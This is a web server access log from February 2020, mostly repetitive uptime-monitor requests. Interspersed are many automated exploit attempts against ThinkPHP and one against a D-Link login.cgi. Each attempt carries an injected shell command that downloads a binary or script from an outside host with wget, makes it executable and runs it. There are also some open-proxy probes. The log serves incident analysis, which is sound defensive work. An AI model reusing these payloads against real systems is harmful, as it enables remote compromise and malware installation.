212.91.246.72 - - [10/Feb/2020:19:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:19:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.11.100 - - [10/Feb/2020:20:02:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
184.94.240.92 - - [10/Feb/2020:20:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [10/Feb/2020:20:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [10/Feb/2020:20:07:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [10/Feb/2020:20:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.130.109 - - [10/Feb/2020:20:08:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.56.78.64 - - [10/Feb/2020:20:12:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:20:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.17.71 - - [10/Feb/2020:20:14:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.84.13 - - [10/Feb/2020:20:14:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.53.92.94 - - [10/Feb/2020:20:16:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [10/Feb/2020:20:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.4.84.66 - - [10/Feb/2020:20:21:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.45.215.206 - - [10/Feb/2020:20:25:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.239.112 - - [10/Feb/2020:20:26:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:20:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.59.200 - - [10/Feb/2020:20:28:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.213.92 - - [10/Feb/2020:20:29:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
108.216.126.122 - - [10/Feb/2020:20:29:41 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [10/Feb/2020:20:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [10/Feb/2020:20:31:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.216.26.176 - - [10/Feb/2020:20:32:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:20:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.216.166 - - [10/Feb/2020:20:36:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.98.190 - - [10/Feb/2020:20:50:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [10/Feb/2020:20:54:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.65.13.95 - - [10/Feb/2020:20:54:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:20:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [10/Feb/2020:20:55:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:20:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:20:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.198.111.213 - - [10/Feb/2020:20:59:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:21:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.60.118 - - [10/Feb/2020:21:01:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:21:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.215.250.163 - - [10/Feb/2020:21:02:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.144.39.179 - - [10/Feb/2020:21:07:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [10/Feb/2020:21:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.203.187.215 - - [10/Feb/2020:21:10:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)"
212.91.246.72 - - [10/Feb/2020:21:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.89.252.22 - - [10/Feb/2020:21:17:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.34.177.229 - - [10/Feb/2020:21:21:04 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.162.142.42 - - [10/Feb/2020:21:21:04 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.77 - - [10/Feb/2020:21:21:04 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.235.138.142 - - [10/Feb/2020:21:21:06 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.37.204.242 - - [10/Feb/2020:21:21:06 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.0.21.156 - - [10/Feb/2020:21:21:08 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.13.12.68 - - [10/Feb/2020:21:21:09 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
111.224.234.21 - - [10/Feb/2020:21:21:11 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
223.166.75.233 - - [10/Feb/2020:21:21:13 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.185.223.61 - - [10/Feb/2020:21:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.159.74.109 - - [10/Feb/2020:21:26:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [10/Feb/2020:21:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.59.223 - - [10/Feb/2020:21:26:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:21:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.73.51.80 - - [10/Feb/2020:21:28:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [10/Feb/2020:21:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [10/Feb/2020:21:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
